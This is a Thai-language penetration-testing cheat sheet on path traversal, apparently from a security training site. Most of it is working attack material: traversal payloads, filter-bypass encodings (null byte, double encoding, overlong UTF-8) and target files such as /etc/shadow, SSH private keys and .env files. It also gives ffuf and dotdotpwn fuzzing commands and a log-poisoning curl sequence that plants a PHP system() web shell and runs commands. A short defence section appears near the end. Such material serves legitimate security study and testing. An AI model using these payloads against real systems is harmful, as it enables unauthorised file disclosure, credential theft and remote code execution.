Path Traversal
Path Traversal (directory traversal) คือการใช้ ../ เพื่อหลุดออกจากไดเรกทอรีที่แอปตั้งใจ แล้วเข้าถึงไฟล์อื่นในระบบ มักพบที่ฟีเจอร์ดาวน์โหลด/อ่าน/แสดงไฟล์ บทนี้ครอบคลุม payload พื้นฐาน, เทคนิค bypass การกรอง (encoding, null byte, absolute path), ไฟล์เป้าหมายบน Linux/Windows, และการต่อยอดสู่ LFI/RCE
1. หลักการ
เมื่อแอปสร้าง path ไฟล์จาก input ผู้ใช้ (เช่น /var/www/files/ + filename) การใส่ ../ ทำให้ย้อนขึ้นไดเรกทอรีแม่ หลุดออกนอกโฟลเดอร์ที่ตั้งใจ ไปอ่านไฟล์ระบบได้ (เช่น /etc/passwd) — .. คือ special entry ที่ชี้ไป parent directory และ OS จะ resolve มันตอนเปิดไฟล์
2. Parameter เสี่ยง และไฟล์เป้าหมาย
- parameter เสี่ยง:
?file=?path=?download=?doc=?image=?template=?lang=?page= - จุดที่พบ: ฟีเจอร์ download attachment, avatar/image loader, PDF/report generator, theme/lang selector
| OS | ไฟล์เป้าหมายยอดฮิต |
|---|---|
| Linux | /etc/passwd, /etc/shadow, /etc/hosts, /proc/self/environ, /proc/self/cmdline |
| Linux (app) | config.php, .env, /var/log/apache2/access.log, ~/.ssh/id_rsa, /var/www/html/index.php |
| Windows | C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts, C:\boot.ini |
| Windows (app) | web.config, C:\inetpub\wwwroot\web.config, C:\xampp\apache\logs\access.log |
3. Payload และเทคนิค bypass
../../../../etc/passwd
..\..\..\windows\win.ini (Windows backslash)
....//....//....//etc/passwd (bypass replace ../ ครั้งเดียว)
..././..././etc/passwd (bypass replace .. หรือ /)
%2e%2e%2f%2e%2e%2fetc/passwd (URL encode ../ )
%252e%252e%252f (double URL encode → decode 2 รอบ)
..%c0%af..%c0%afetc/passwd (overlong UTF-8 ของ /)
..%c1%9c.. (overlong ของ \ บน IIS เก่า)
/var/www/files/../../../etc/passwd (absolute + traversal)
....\/....\/ (ผสม slash)| การกรอง | ทาง bypass |
|---|---|
| ลบ ../ หนึ่งครั้ง (non-recursive) | ....// หรือ ....\/ (เหลือ ../ หลังลบ) |
| ลบ .. หรือ / | ..././ / ....// / ผสม encode |
| ต้องลงท้าย .png/.jpg | เติม %00 (PHP เก่า), หรือ ?.png / #.png / ;.png |
| บล็อกอักขระ / | URL encode %2f, double %252f, overlong %c0%af |
| ต้องขึ้นต้นด้วย base path | base path + /../../../ ออกไป (absolute clobber) |
| strip absolute (ต้องขึ้น /) | ใส่ path ที่กำหนดตามด้วย traversal |
# แอปเติม ".png" ต่อท้าย → filename.png
../../../etc/passwd%00.png # null byte ตัด suffix (PHP < 5.3.4)
../../../etc/passwd%00 # บาง lang/lib
../../../etc/passwd? # ? ทำให้ .png กลายเป็น query (บาง backend)
../../../etc/passwd# # %23
../../../etc/passwd;.png # ; delimiter บางระบบ
# path ยาวเกิน → OS ตัด suffix (path truncation, PHP เก่า)
../../../etc/passwd/././././.......(ยาวมาก)4. ต่อยอด — traversal → LFI → RCE
ถ้า parameter เดียวกันถูกส่งเข้า include() ไม่ใช่แค่ readfile() traversal จะกลายเป็น LFI ที่รันโค้ดได้ — สะพานหลักไปสู่ RCE:
| เทคนิค LFI2RCE | วิธี |
|---|---|
| php://filter (leak source) | อ่านโค้ด PHP เป็น base64: php://filter/convert.base64-encode/resource=index.php |
| php://filter chain | chain filter จน generate โค้ด → RCE โดยไม่ต้อง upload (php_filter_chain_generator) |
| Log poisoning | ฉีด |
| /proc/self/environ | ฉีดโค้ดใน User-Agent → include environ (server เก่า) |
| Session file | ฉีดค่าลง $_SESSION → include /var/lib/php/sessions/sess_ID |
| Upload + include | อัปไฟล์ (แม้เป็นรูป) แล้ว traversal ไป include (LFI + file upload) |
# อ่าน source เป็น base64 (ไม่รันโค้ด แต่ยืนยันว่า include คุมได้)
curl 'http://target/?page=php://filter/convert.base64-encode/resource=config.php'
# → decode base64 ได้ source code (มัก leak DB creds)
# log poisoning: ฉีดโค้ดผ่าน User-Agent แล้ว include log
curl -A '<?php system($_GET["c"]); ?>' http://target/
curl 'http://target/?page=/var/log/apache2/access.log&c=id'php_filter_chain_generator.py สร้าง URL ให้ (ดูหัวข้อ LFI); ถ้า include รับ URL ภายนอกได้ → RFI5. Decision flow
6. เครื่องมือ
# fuzz payload traversal ด้วย wordlist (SecLists LFI/traversal)
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
-u 'http://target/?file=FUZZ' -fs 0 -mc 200
# dotdotpwn — สร้าง+ยิง traversal หลายรูปแบบอัตโนมัติ
dotdotpwn -m http -h target -f /etc/passwd -k "root:" -x 80
# Burp Intruder: ใส่ payload list ของ ../ variants + encoding
# กรอง response ด้วย 'root:' หรือ '[extensions]' (win.ini)- ffuf + SecLists (LFI/traversal wordlist) — เร็ว, filter ด้วย response size/keyword
- dotdotpwn — fuzzer เฉพาะ traversal หลาย encoding/OS
- Burp Intruder — ใส่ payload list + grep match 'root:'
- php_filter_chain_generator — LFI2RCE ผ่าน filter chain
7. ข้อผิดพลาด & troubleshooting
- ไม่ลอง encoding พอ: single-encode block แต่ double-encode ผ่าน (proxy decode 1 รอบ + app decode 1 รอบ)
- ผิด OS: ยิง /etc/passwd บน Windows — ลอง win.ini/web.config แทน (ดู Server header/error)
- จำนวน ../ น้อยไป: ใส่ ../ เกินความลึกจริงได้ (../ เกินจาก root ถูก ignore) — ใส่เยอะๆ ไว้ก่อน
- suffix .php/.png ติด: ต้องตัดด้วย %00 (เก่า) / ? / # / path truncation
- WAF normalize path: ลอง overlong UTF-8, mixed encoding, backslash
- ได้ file disclosure แต่อยากได้ RCE: เช็คว่า param เข้า include ไหม → LFI2RCE
- อ่านไฟล์ไบนารี/รูปได้ยาก: ใช้ php://filter base64 encode เพื่อดึงเนื้อหาปลอดภัย
8. การป้องกัน
- Canonicalize path (realpath) แล้วตรวจว่าอยู่ภายใต้ base directory จริง (startsWith base)
- ใช้ allowlist ของไฟล์/ID ที่อนุญาต แทนการรับ path ตรงๆ (map id → filename)
- ตัด/ปฏิเสธ
../, null byte, และ encoding variants ก่อน resolve (decode ให้ครบก่อนตรวจ) - แยก storage ออกจาก path ระบบ; ใช้ basename() เอาเฉพาะชื่อไฟล์
- รันด้วยสิทธิ์ต่ำ + chroot/jail/container จำกัดขอบเขตไฟล์ที่เข้าถึงได้
- อย่าส่ง user input เข้า include/require; ตั้ง open_basedir (PHP) จำกัด path
9. Quick Reference
- param เสี่ยง: file/download/path/doc/image/page/lang
- พื้นฐาน: ../../../etc/passwd (Linux), ..\..\win.ini (Windows)
- bypass: ....// , %2e%2e%2f , double-encode %252e , overlong %c0%af
- suffix: %00 (เก่า) / ? / # / path truncation
- absolute + traversal เผื่อ backend join แปลกๆ
- leak source: php://filter/convert.base64-encode/resource=
- include() → LFI2RCE: log poison, filter chain, upload+include
- เครื่องมือ: ffuf+SecLists, dotdotpwn, Burp Intruder
- ป้องกัน: canonicalize + ตรวจ base dir, allowlist, basename()
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอ parameter ที่ดูเหมือนชื่อไฟล์ เช่น ?file= หรือ ?path= มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้น
- 1หา parameter ที่ดูเหมือนชื่อไฟล์ (?file=, ?path=, ?doc=, ?image=) จาก Burp Proxy history
- 2ลอง
../../../../etc/passwd(Linux) หรือ..\..\windows\win.ini(Windows) ตรงๆ ก่อนด้วย curl/Repeater - 3เช็ค response ว่ามี
root:x:0:0หรือ[fonts]โผล่มาไหม - 4ถ้าไม่ได้ผล ลองชุด encoding ด้วย Burp Intruder:
%2e%2e%2f,....//, overlong%c0%af - 5ถ้าต้องลงท้ายนามสกุล (.png) ลอง null byte
%00,?,#ตัด suffix - 6ใช้ ffuf พร้อม wordlist SecLists LFI/traversal กวาดอัตโนมัติ (LFI-gracefulsecurity-linux.txt)
- 7เมื่อได้ผลแล้ว ดูว่า parameter เข้า include()/require() (โค้ดรัน) หรือแค่ readfile()/download (อ่านไฟล์เฉยๆ)
- 8ถ้าเข้า include ลอง
php://filter/convert.base64-encode/resource=config.phpเพื่อ leak source โดยไม่ทำลายระบบ - 9ถ้ายืนยัน include ได้ ไปต่อที่ LFI (log poisoning / filter chain) เพื่อยกระดับเป็น RCE
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ทดสอบ traversal ด้วยมือ | curl, Burp Repeater | - | - |
| fuzz payload + encoding อัตโนมัติ | ffuf | - | - |
| fuzzer เฉพาะ traversal หลาย encoding | - | apt install dotdotpwn | - |
| wordlist LFI/traversal | SecLists (/usr/share/seclists) | apt install seclists | - |
| สร้าง php filter chain สำหรับ RCE | - | git clone https://github.com/synacktiv/php_filter_chain_generator | - |
| decode/encode payload ด้วยมือ | - | - | CyberChef, dcode.fr |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้